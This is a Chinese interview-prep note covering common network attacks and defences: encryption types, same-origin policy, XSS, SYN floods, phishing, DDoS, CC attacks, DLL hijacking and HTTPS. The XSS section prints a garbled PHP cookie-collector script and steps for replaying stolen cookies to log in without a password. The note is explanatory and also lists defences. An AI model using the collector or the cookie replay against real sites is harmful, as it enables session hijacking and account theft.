在面試時(shí),網(wǎng)絡(luò)安全也會(huì)被經(jīng)常問到,至少要知道常見的攻擊,以及防御措施。在這里 Mark 下,不做深入分析。
對(duì)稱加密和非對(duì)稱加密
對(duì)稱加密:加解密用同一密鑰,密鑰維護(hù)復(fù)雜 n(n-1)/2,不適合互聯(lián)網(wǎng)傳輸密鑰,加解密效率高。應(yīng)用于加密數(shù)據(jù)。
非對(duì)稱加密:公鑰推不出私鑰,每個(gè)用戶一個(gè)非對(duì)稱密鑰對(duì)就可以,適合于互聯(lián)網(wǎng)傳輸公鑰,但是加密效率低,應(yīng)用于數(shù)字簽名及加密。
什么是同源策略?
為了防止不同域在用戶瀏覽器中彼此干擾,瀏覽器對(duì)從不同來源(域)收到的內(nèi)容進(jìn)行隔離。瀏覽器不允許任何舊有腳本訪問一個(gè)站點(diǎn)的 cookie,否則,會(huì)話容易被劫持。只有發(fā)布 cookie 的站點(diǎn)能夠訪問這些 cookie,只有通過該站點(diǎn)返回的頁面所包含或加載的 JavaScript 才能訪問 cookie。
cookie 存在哪里?可以打開嗎?
C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Cookies工具--文件夾選項(xiàng)--查看--將隱藏被保護(hù)的文件的對(duì)勾去掉就會(huì)看到 cookies 文件夾。
xss 如何盜取 cookie?
攻擊者代碼:
.
.$cookie=$_GET['cookie'];.
.$time=date('Y-m-d g:i:s');..$referer=getenv('HTTP_REFERER');.
.$cookietxt=fopen('cookie.txt','a');.
.fwrite($cookietxt,"time:".$time." cookie:".$cookie."referer:".$referer.""); 注意雙引號(hào),容易出錯(cuò).
.fclose($cookietxt);.
.?>.腳本端:..獲取到 cookie 后,用 firebug 找到 cookie,新建 cookie加入 cookie,用 referer 來提交,無需輸入帳號(hào)密碼直接登錄進(jìn)去!
xss 有 cookie 一定可以無用戶名密碼登錄嗎?
基本可以。因?yàn)榘?cookie 的值給瀏覽器,瀏覽器去訪問頁面會(huì)用已有的cookie 去訪問,如果 cookie 有效,就會(huì)直接進(jìn)去。
xss 如何防御?
1. 對(duì)前端輸入做過濾和編碼:
比如只允許輸入指定類型的字符,比如電話號(hào)格式,注冊(cè)用戶名限制等,輸入檢查需要在服務(wù)器端完成,在前端完成的限制是容易繞過的;對(duì)特殊字符進(jìn)行過濾和轉(zhuǎn)義;
2. 對(duì)輸出做過濾和編碼:在變量值輸出到前端的 HTML 時(shí)進(jìn)行編碼和轉(zhuǎn)義;
3. 給關(guān)鍵 cookie 使用 http-only。
SYN 攻擊原理
SYN 攻擊屬于 DOS 攻擊的一種,它利用 TCP 協(xié)議缺陷,通過發(fā)送大量的半連接請(qǐng)求,耗費(fèi) CPU 和內(nèi)存資源。
SYN 攻擊除了能影響主機(jī)外,還可以危害路由器、防火墻等網(wǎng)絡(luò)系統(tǒng),事實(shí)上 SYN 攻擊并不管目標(biāo)是什么系統(tǒng),只要這些系統(tǒng)打開 TCP 服務(wù)就可以實(shí)施。服務(wù)器接收到連接請(qǐng)求(SYN=1),將此信息加入未連接隊(duì)列,并發(fā)送請(qǐng)求包給客戶(syn=k,ack=j+1),此時(shí)進(jìn)入 SYN_RECV 狀態(tài)。當(dāng)服務(wù)器未收到客戶端的確認(rèn)包時(shí),重發(fā)請(qǐng)求包,一直到超時(shí),才將此條目從未連接隊(duì)列刪除。配合 IP 欺騙,SYN 攻擊能達(dá)到很好的效果,通常,客戶端在短時(shí)間內(nèi)偽造大量不存在的 IP 地址,向服務(wù)器不斷地發(fā)送 syn 包,服務(wù)器回復(fù)確認(rèn)包,并等待客戶的確認(rèn),由于源地址是不存在的,服務(wù)器需要不斷的重發(fā)直至超時(shí),這些偽造的 SYN 包將長(zhǎng)時(shí)間占用未連接隊(duì)列,正常的 SYN 請(qǐng)求被丟棄,目標(biāo)系統(tǒng)運(yùn)行緩慢,嚴(yán)重者引起網(wǎng)絡(luò)堵塞甚至系統(tǒng)癱瘓。
什么是網(wǎng)絡(luò)釣魚?
網(wǎng)絡(luò)釣魚是通過大量發(fā)送聲稱來自于銀行或其他知名機(jī)構(gòu)的欺騙性垃圾郵件,意圖引誘收信人給出敏感信息(如用戶名、口令、帳號(hào) ID 、ATMPIN 碼或信用卡詳細(xì)信息)的一種攻擊方式。最典型的網(wǎng)絡(luò)釣魚攻擊將收信人引誘到一個(gè)通過精心設(shè)計(jì)與目標(biāo)組織的網(wǎng)站非常相似的釣魚網(wǎng)站上,并獲取收信人在此網(wǎng)站上輸入的個(gè)人敏感信息,通常這個(gè)攻擊過程不會(huì)讓受害者警覺。它常常導(dǎo)引用戶到 URL 與接口外觀與真正網(wǎng)站幾無二致的假冒網(wǎng)站輸入個(gè)人數(shù)據(jù)。就算使用強(qiáng)式加密的 SSL 服務(wù)器認(rèn)證,要偵測(cè)網(wǎng)站是否仿冒實(shí)際上仍很困難。網(wǎng)釣是一種利用社會(huì)工程技術(shù)來愚弄用戶的實(shí)例。它憑恃的是現(xiàn)行網(wǎng)絡(luò)安全技術(shù)的低親和度。DDOS
分布式拒絕服務(wù)(DDoS:Distributed Denial ofService)攻擊指借助于客戶/服務(wù)器技術(shù),將多個(gè)計(jì)算機(jī)聯(lián)合起來作為攻擊平臺(tái),對(duì)一個(gè)或多個(gè)目標(biāo)發(fā)動(dòng)DDoS 攻擊,從而成倍地提高拒絕服務(wù)攻擊的威力。
通常,攻擊者使用一個(gè)偷竊帳號(hào)將 DDoS 主控程序安裝在一個(gè)計(jì)算機(jī)上,在一個(gè)設(shè)定的時(shí)間主控程序?qū)⑴c大量代理程序通訊,代理程序已經(jīng)被安裝在網(wǎng)絡(luò)上的許多計(jì)算機(jī)上。代理程序收到指令時(shí)就發(fā)動(dòng)攻擊。利用客戶/服務(wù)器技術(shù),主控程序能在幾秒鐘內(nèi)激活成百上千次代理程序的運(yùn)行。
什么是 CC 攻擊?
這個(gè)也是知道一些,知道他是 DDos 的變種,正常請(qǐng)求偽造,服務(wù)器資源耗盡,最終還是看看百科答案吧:CC 攻擊是 DDOS(分布式拒絕服務(wù))的一種,相比其它的 DDOS 攻擊 CC 似乎更有技術(shù)含量一些。這種攻擊你見不到真實(shí)源 IP,見不到特別大的異常流量,但造成服務(wù)器無法進(jìn)行正常連接。CC 攻擊的原理就是攻擊者控制某些主機(jī)不停地發(fā)大量數(shù)據(jù)包給對(duì)方服務(wù)器造成服務(wù)器資源耗盡,一直到宕機(jī)崩潰。
CC 主要是用來攻擊頁面的,每個(gè)人都有這樣的體驗(yàn):當(dāng)一個(gè)網(wǎng)頁訪問的人數(shù)特別多的時(shí)候,打開網(wǎng)頁就慢了,CC 就是模擬多個(gè)用戶(多少線程就是多少用戶)不停地進(jìn)行訪問那些需要大量數(shù)據(jù)操作(就是需要大量 CPU 時(shí)間)的頁面,造成服務(wù)器資源的浪費(fèi),CPU 長(zhǎng)時(shí)間處于 100%,永遠(yuǎn)都有處理不完的連接直至就網(wǎng)絡(luò)擁塞,正常的訪問被中止。
Web 服務(wù)器被入侵后,怎樣進(jìn)行排查?
最簡(jiǎn)單就是查看下 web 服務(wù)器日志 ,看看有沒有異常端口開放,使用安全狗等服務(wù)器安全軟件清掃
dll 文件是什么意思,有什么用?
DLL(Dynamic Link Library)文件,即動(dòng)態(tài)鏈接庫,也有人稱作應(yīng)用程序拓展。Windows 應(yīng)用程序中,實(shí)行了模塊化設(shè)計(jì),也就是說并不是每個(gè)應(yīng)用程序都編寫完所有的功能代碼,而是在運(yùn)行過程中調(diào)用相應(yīng)功能的 DLL,不需運(yùn)行的功能就不調(diào)用,所以大大加快了程序的加載速度和效率,其他應(yīng)用程序也可以調(diào)用相關(guān)的 DLL,這樣也有利于促進(jìn)代碼重用以及內(nèi)存使用效率,減少了資源占用,而且程序更新時(shí)也只要更新相關(guān)的 DLL 就可以了。
要注意的是,有些病毒也會(huì)偽裝成 DLL 文件,并替換系統(tǒng)的 DLL 文件,需要我們防范。
DLL 劫持原理由于輸入表中只包含 DLL 名而沒有它的路徑名,因此加載程序必須在磁盤上搜索 DLL 文件。
首先會(huì)嘗試從當(dāng)前程序所在的目錄加載 DLL,如果沒找到,則在 Windows 系統(tǒng)目錄中查找,最后是在環(huán)境變量中列出的各個(gè)目錄下查找。利用這個(gè)特點(diǎn),先偽造一個(gè)系統(tǒng)同名的 DLL,提供同樣的輸出表,每個(gè)輸出函數(shù)轉(zhuǎn)向真正的系統(tǒng) DLL。程序調(diào)用系統(tǒng) DLL 時(shí)會(huì)先調(diào)用當(dāng)前目錄下偽造的 DLL,完成相關(guān)功能后,再跳到系統(tǒng) DLL 同名函數(shù)里執(zhí)行。這個(gè)過程用個(gè)形象的詞來描述就是系統(tǒng) DLL 被劫持(hijack)了。
偽造的 dll 制作好后,放到程序當(dāng)前目錄下,這樣當(dāng)原程序調(diào)用原函數(shù)時(shí)就調(diào)用了偽造的 dll 的同名函數(shù),進(jìn)入劫持 DLL 的代碼,處理完畢后,再調(diào)用原DLL 此函數(shù)。如何防止 DLL 劫持DLL 劫持利用系統(tǒng)未知 DLL 的搜索路徑方式,使得程序加載當(dāng)前目錄下的系統(tǒng)同名 DLL。所以可以告訴系統(tǒng) DLL 的位置,改變加載系統(tǒng) DLL 的順序不是當(dāng)前目錄,而是直接到系統(tǒng)目錄下查找。
Https 的作用
內(nèi)容加密建立一個(gè)信息安全通道,來保證數(shù)據(jù)傳輸?shù)陌踩?
身份認(rèn)證確認(rèn)網(wǎng)站的真實(shí)性
數(shù)據(jù)完整性防止內(nèi)容被第三方冒充或者篡改HTTPS 和 HTTP 的區(qū)別:https 協(xié)議需要到 CA 申請(qǐng)證書。http 是超文本傳輸協(xié)議,信息是明文傳輸;https 則是具有安全性的 ssl 加密傳輸協(xié)議。http 和 https 使用的是完全不同的連接方式,用的端口也不一樣,前者是 80,后者是 443。http 的連接很簡(jiǎn)單,是無狀態(tài)的;HTTPS 協(xié)議是由 SSL+HTTP 協(xié)議構(gòu)建的可進(jìn)行加密傳輸、身份認(rèn)證的網(wǎng)絡(luò)協(xié)議,比 http 協(xié)議安全。